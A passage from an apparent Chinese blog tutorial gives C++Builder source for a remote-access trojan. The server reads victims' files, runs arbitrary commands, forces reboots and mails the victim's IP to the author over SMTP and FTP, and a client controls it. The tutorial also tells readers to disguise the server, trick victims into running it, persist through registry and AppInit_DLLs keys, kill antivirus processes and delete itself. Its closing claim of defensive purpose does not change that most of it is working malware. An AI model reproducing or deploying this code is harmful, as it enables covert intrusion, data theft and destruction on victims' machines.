      Socket->SendText("Fail By Open File");
      //返回“Fail By Open File”的错误信息
      goto END;
      //跳到END
    }
   }
  AnsiString Return_Text="";
  char temp_content[300];
  for(int i=0;i<300;i++) temp_content[i]='/0';
  //定义一个空数组
  Read_Num=fread(temp_content,1,300,fp);
  //从目标文件中读入前300个字符
  while(Read_Num==300)
   {
    Return_Text=Return_Text+temp_content;
    //Return_Text的内容加上刚才的字符
    for(int i=0;i<300;i++) temp_content[i]='/0';
    Read_Num=fread(temp_content,1,300,fp);
    //重复
   };
  Return_Text=Return_Text+temp_content;
  //Return_Text的内容加上刚才的字符
  fclose(fp);
  //关闭目标文件
  Socket->SendText(Return_Text);
  //返回Return_Text的内容,即你查看文件的内容
}
}

  咳咳!累死了!还是来点轻松的吧——操纵目标机的光驱(注意:mciSendString()函数的声明在mmsystem.h头文件中):

{
else if(temp=="open")
{
  //如果收到的temp的内容是“open”
  mciSendString("set cdaudio door open", NULL, 0, NULL);
  //就弹出光驱的托盘
}
else if(temp=="close")
{
  //如果收到的temp的内容是“close”
  mciSendString("Set cdaudio door closed wait", NULL, 0, NULL);
  //就收入光驱的托盘。当然你也可以搞个死循环,让他的光驱好好活动活动!^_^
}
}

接着就是交换目标机的鼠标左右键,代码如下:
{
else if(temp=="swap")
{
  SwapMouseButton(1);
  //交换鼠标左右键,简单吧?
}
}

 

  然后就是使目标机重新启动。但这里要区分WinNt和Win9x——NT非常注重系统每个进程的权利,一个普通的进程是不应具备有调用系统的权利的,因此我们要赋予本程序足够的权限:

{
else if(temp=="reboot")
{
  //如果收到的temp的内容是“temp”
  DWORD dwVersion = GetVersion();
  //得到操作系统的版本号
  if (dwVersion < 0x80000000)
  {
    //操作系统是WinNt,不是Win9x
   HANDLE hToken;
   TOKEN_PRIVILEGES tkp;
   //定义变量
   OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
   //OpenProcessToken()这个函数的作用是打开一个进程的访问令牌
   //GetCurrentProcess()函数的作用是得到本进程的句柄
   LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
   //LookupPrivilegeValue()的作用是修改进程的权限
   tkp.PrivilegeCount = 1;
    //赋给本进程特权
   tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
   //AdjustTokenPrivileges()的作用是通知Windows NT修改本进程的权利
   ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0);
    //强行退出WinNt并重启
  }
  else ExitWindowsEx(EWX_FORCE+EWX_REBOOT,0);
   //强行退出Win9x并重启
}
}

如果以上都不是,就让它在Dos窗口中执行传来的命令:

 

{
else
{
  //如果都不是
  char * CR_TF="/n";
  times_of_try=0;
  while(fp==NULL)
  {
   fp=fopen(TempFile,"w+");
   //创建Win369.bat,如果已存在就覆盖
   times_of_try=times_of_try+1;
    //计数器加1
   if(times_of_try>100)
   {
    Socket->SendText("Fail By Open File");
    //返回“Fail By Open File”的信息
    goto END;
    //跳到END
   }
  }
  fwrite(temp.c_str(),sizeof(char),strlen(temp.c_str()),fp);
  //写入欲执行的命令
  fwrite(CR_TF,sizeof(char),strlen(CR_TF),fp);
  //写入换行符
  fclose(fp);
  //关闭Win369.bat
  system(TempFile);
  //执行Win369.bat
  Socket->SendText("Success");
  //返回“Success”信息
}
}

  你可以直接执行什么Ping和Tracert之类的命令来进一步刺探目标机的网络状况(判断是否是一个企业的局域网),然后可以进一步攻击,比如Deltree和Format命令。
  
  到此,服务器程序的功能已全部完成,但还差容错部分未完成,这样才能避免程序因意外而崩溃。朋友,别走开!

上次已编写完服务器端的各种功能,但还差容错部分还未完成,下面我们Go on! 其代码如下(照敲不误 ^_^):

{
END:;
 Socket-〉Close();
 //关闭服务
 ServerSocket1-〉Active =true;
 //再次打开服务
 if (NMSMTP1-〉Connected) NMSMTP1-〉Disconnect();
 //如果SMTP服务器已连接则断开
 NMSMTP1-〉Host = "smtp.163.net";
 //选一个好用的SMTP服务器,如163、263、sina和btamail
 NMSMTP1-〉UserID = "";
 //你SMTP的ID
 try
 {
  NMSMTP1-〉Connect();
  //再次连接
 }
 catch(...)
 {
  goto NextTime;
  //跳到NextTime
 }
 NMSMTP1-〉PostMessage-〉FromAddress ="I don't know!";
 //受害者的Email地址
 NMSMTP1-〉PostMessage-〉FromName = "Casualty";
 //受害者的名字
 NMSMTP1-〉PostMessage-〉ToAddress-〉Text = "crossbow@8848.net";
 //将信发到我的邮箱,这一步很关键
 NMSMTP1-〉PostMessage-〉Body-〉Text = AnsiString("Server Running on:") + NMSMTP1-〉LocalIP ;
 //信的内容提示你“服务器正在运行”,并且告诉你受害者的目前的IP地址,以便连接
 NMSMTP1-〉PostMessage-〉Subject = "Server Running Now!";
 //信的主题
 NMSMTP1-〉SendMail();
 //发送!
 return;
 //返回

NextTime:
 NMFTP1-〉Host = "ftp.go.163.com";
 //你的FTP服务器的地址
 NMFTP1-〉UserID = "";
 //你的用户ID
 NMFTP1-〉Port = 21;
 //FTP端口号,一般为21
 NMFTP1-〉Password = "";
 //你的FTP的密码
 if(NMFTP1-〉Connected) NMFTP1-〉Disconnect();
 //如果已连接就断开
 try
  {
   NMFTP1-〉Connect();
   //再连接
  }
 catch(...)
  {
    return;
    //返回
  }
 AnsiString SendToSite = "Server Running on: " + NMFTP1-〉RemoteIP;
 //受害者的IP地址
 FILE * Upload;
 Upload = fopen(NMFTP1-〉RemoteIP.c_str(),"w+");
 //创建一个新文件准备写,如果已存在就覆盖
 fwrite(SendToSite.c_str(),sizeof(char),SendToSite.Length(),Upload);
 //写入以上的SendToSite的内容
 fclose(Upload);
 //写完后关闭此文件
 NMFTP1-〉RemoveDir("public_html");
 //删除public_html目录
 NMFTP1-〉Upload(NMFTP1-〉RemoteIP, NMFTP1-〉RemoteIP);
 //上传!
}

啊,超长的OnClientRead事件终于写完了。最后别忘了要在此服务器源码文件中添加以下头文件:

 

#include 〈stdlib.h〉
#include 〈dirent.h〉
#include 〈fcntl.h〉
#include 〈dos.h〉
#include 〈sys/stat.h〉
#include 〈winbase.h〉
#include 〈stdio.h〉
#include 〈process.h〉
#include 〈io.h〉
#include 〈mmsystem.h〉

  至此,服务器端(Server)程序已全部完工!(终于可以好好歇歇了!)别慌!以上代码只是完成了整个木马程序的一半。(“扑通”,有人晕倒了!)下面我们就将乘胜追击——搞定客户端程序(Client)!

  客户端程序其实是很简单的。另新建一个Form,添加一个ClientSocket(和ServerSocket在相同的页下),再添加四个Editbox,命名为Edit1,Edit2,Edit3和Edit4,最后添加一个Button,Caption为“发送”。Edit1是输入命令用的,Edit2是准备输入目标机的IP地址用的,Edit3是输入连接端口号用的,Edit4是用来输入欲添加的语句或显示命令执行的结果的。(头是不是有点大了?!)

  双击Button1,在Button1Click事件中添加如下代码:

{
  if((Edit2-〉Text=="")||(Edit3-〉Text==""))return;
  //如果输入IP地址框或输入端口号框有一个为空,就什么也不作
  ClientSocket1-〉Address=Edit2-〉Text;
  //目标IP地址
  ClientSocket1-〉Port=atoi(Edit2-〉Text.c_str());
  //目标端口号,本例中的44444
  ClientSocket1-〉Open();
  //连接!
}

选中CilentSocket1控件,双击OnConnectt事件,在ClientSocket1Connect下添加如下代码:
{
 if((Edit1-〉Text=="edit conf 1")||(Edit1-〉Text=="edit conf 2"))
 //如果是要编辑autoexec.bat或config.sys
  Socket-〉SendText(Edit1-〉Text+Edit4-〉Text);
  //发送命令和欲添加的语句
 else
  Socket-〉SendText(Edit1-〉Text);
  //否则只发送命令
}

 

  双击OnRead事件,在ClientSocket1Read下添加如下代码:
{
 AnsiString ReadIn = Socket-〉ReceiveText();
 //读入收到的返回信息
 Edit4-〉Text="";
 //清空编辑框
 FILE *fp;
 fp = fopen("ReadIn.tmp","w");
 //建立一个临时文件ReadIn.tmp
 fwrite(ReadIn.c_str(),1,10000,fp);
 //写入信息
 fclose(fp);
 //关闭之
 Edit4-〉Lines-〉LoadFromFile("ReadIn.tmp");
 //在编辑框中显示返回的信息
}

  为了敲完命令后直接回车就可以发送,我们可以使Button1的代码共享。双击Edit1的OnKeyPress命令,输入:

{
 if(Key==VK_RETURN)Button1Click(Sender);
 //如果敲的是回车键,就和点击Button1一样的效果
}

  最后再添加以下头文件:

#include "stdlib.h"
#include "winbase.h"
#include "fcntl.h"
#include "stdio.h"

终于写完了!!!(如果你对简陋的界面不满意,可以自己用BCB中丰富的控件好好完善完善嘛!)按下Ctrl+F9进行编译链接吧!对于Server,你可以选一个足以迷惑人的图标(我选的是一个目录模样的图标)进行编译,这样不但受害者容易中招,而且便于隐藏自己。

 

  接下来就把Server程序寄给受害者,诱骗他(她)执行,在你得到他(她)的IP后(这不用我教吧?),就启动Client程序,敲入“edit conf 1”就编辑Autoexec.bat文件,敲入“edit conf 2”就编辑Config.sys文件,敲入“dir xxx”(xxx是目录名)就可以看到目录和文件,敲“type xxx”就可以察看任何文件,输入“open”,弹出目标机的光驱托盘,“close”就收入托盘,输入“swap”就可以交换受害者的鼠标左右键,输入“reboot”就启动目标机……不用我多说了吧?

  以上只是一个简单的例子,真正写起木马来要解决的技术问题比这多得多,这得需要扎实的编程功底和丰富的经验。如下的问题就值得仔细考虑:

  首先是程序的大小问题,本程序经编译链接后得到的可执行文件竟有400多K,用Aspack1.07压了一下也还有200多K。可以看出不必要的Form是应该去掉的;并且尽量由自己调用底层的API函数,而尽量少使用Borland打好包的VCL控件;要尽量使用汇编语言(BCB支持C++和汇编混编),不但速度会加快,而且大小可以小很多,毕竟木马是越小越好。

  还有启动方式的选择。出了Win.ini、System.ini之外,也还是那几个注册表键值,如:

HKEY_LOCAL_MACHINE/Software/Microsoft/Windows/CurrentVersion/Run

HKEY_LOCAL_MACHINE/Software/Microsoft/Windows/CurrentVersion/
RunServices

HKEY_CURRENT_USER/Software/Microsoft/Windows/CurrentVersion/Run

都已被其他的木马用烂了。现在又开始对exe、dll和txt文件的关联程序动手脚了(如冰河和广外女生)。这里涉及到参数传递的问题。得到ParamStr()函数传来的参数,启动自己后再启动与之关联的程序,并将参数传递给它,这样就完成了一次“双启动”,而受害者丝毫感觉不到有任何异常。具体键值如:

  与exe文件建立关联:HKEY_CLASSES_ROOT/exefile/shell/open/command
  与txt文件建立关联:HKEY_CLASSES_ROOT/txtfile/shell/open/command
  与dll文件建立关联:HKEY_CLASSES_ROOT/dllfile/shell/open/command

等,当然还可以自己扩充。目前还有一种新方法:在

HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows NT/CurrentVersion
/Windows下添加如下键值 "AppInit_DLLs"="Server.dll",这就把Server.dll注册为系统启动时必须加载的模块(你应该把木马编译成DLL)。下次开机时,木马以动态链接库形式被加载,存在于系统进程中。因为没有它自己的PID(Process ID 进程识别号),所以在NT的任务管理器中也看不见(不过在“系统信息”——“软件环境”——“已加载的32位模块”中还是可以详细看到当前内存中加载的每一个模块的),这样做的目的是可以使自己的程序更加隐蔽,提高木马的生存能力。

木马的功能还可以大大扩充。你可以充分发挥你的想象力——比如上传、下载、新建、改名、移动文件,截图存为jpg文件传回,录音监听成Wav文件,录像成AVI文件,弹光驱,读软驱,关机,重启,不停地挂起,胡乱切换分辨率(烧掉你的显示器),发对话框,不停地打开资源管理器直到死机,杀掉Kernel32.dll进程使机器暴死,交换鼠标左右键,固定鼠标,限制鼠标活动范围,鼠标不听指挥到处乱窜,记录击键记录(记录上网口令,这需要深入了解钩子(Hook)技术,如键盘钩子和鼠标钩子),窃取重要的密码文件如pwl和sam文件,格式化磁盘,乱写磁盘扇区(像病毒大爆发),破坏零磁道,乱写BIOS(像CIH),胡乱设置CMOS,加密MBR、HDPT和FAT(像江民炸弹)……真是琳琅满目、心狠手辣呀!而且实现起来并不是很复杂,只不过后面几项需要比较扎实的汇编功底而已(有几项要用到Vxd技术)。唉!路漫漫其修远兮,吾将上下而求索……

 

  如果你想更安全地执行你的入侵活动,就应该像广外女生一样可以杀掉防火墙和杀毒软件的进程。防火墙和杀毒软件监视的是特征码,如果你是新木马,它就不吱一声;但是如果你打开不寻常的端口,它就会跳出来报警。因此最好的办法是启动后立即分析当前进程,查找有没有常见防火墙和杀毒软件的进程,如果有就杀无赦。比如常见的如:Lockdown,天网防火墙,网络卫兵,kv3000,瑞星,金山毒霸,Pc-Cillin,Panda,Mcafee,Norton和CheckPoint。杀掉后,再在特定的内存地址中作一个标记,使它们误以为自己已启动,因此不会再次启动自己了。
  
  针对来自反汇编工具的威胁。如果有人试图将你的木马程序反汇编,他成功后,你的一切秘密就暴露在他的面前了,因此,我们要想办法保护自己的作品。首先想到的是条件跳转,条件跳转对于反向工程来说并不有趣。没有循环,只是跳转,作为使偷窃者令人头痛的路障。这样,就没有简单的反向操作可以执行了。陷阱,另一个我不太肯定,但听说有程序使用的方法:用CRC校验你的EXE文件,如果它被改变了,不要显示典型错误信息,而给予偷窃者致命的一击。

  最后如果你需要它完成任务后可以自己删除自己,我提示你:退出前建立一个批处理文件,加入循环删除本exe文件和本批处理文件自己的命令后保存,执行它,再放心地退出。你可以试一下,所有文件都消失了吧?!这叫“踏雪无痕”。

  入侵安装了防火墙的机器最好使用自己编写的木马,这样不光防火墙不会报警,而且你自己心里也坦然一些——毕竟是自己的作品吗!如果你是系统管理员,那就请你不要偷懒,不仅要经常扫描1024以下的端口,而且包括1024以上的高端端口也要仔细扫描,65535个端口一个也不能漏。因为许多木马打开的就是高端端口(如本例中的4444)。

  写在最后:上面例子的用意并不是教你去如何攻击他人,目的只是让你了解木马的工作原理和简单的编写步骤,以便更好地防范和杀除木马,维护我们自己应有的网络安全。因此,请列位看官好自为之,不要乱下杀手啊!

创建于: 2006-04-08 13:07:18,修改于: 2006-04-08 13:07:18,已浏览546次,有评论0条
 
  • 0
    点赞
  • 12
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值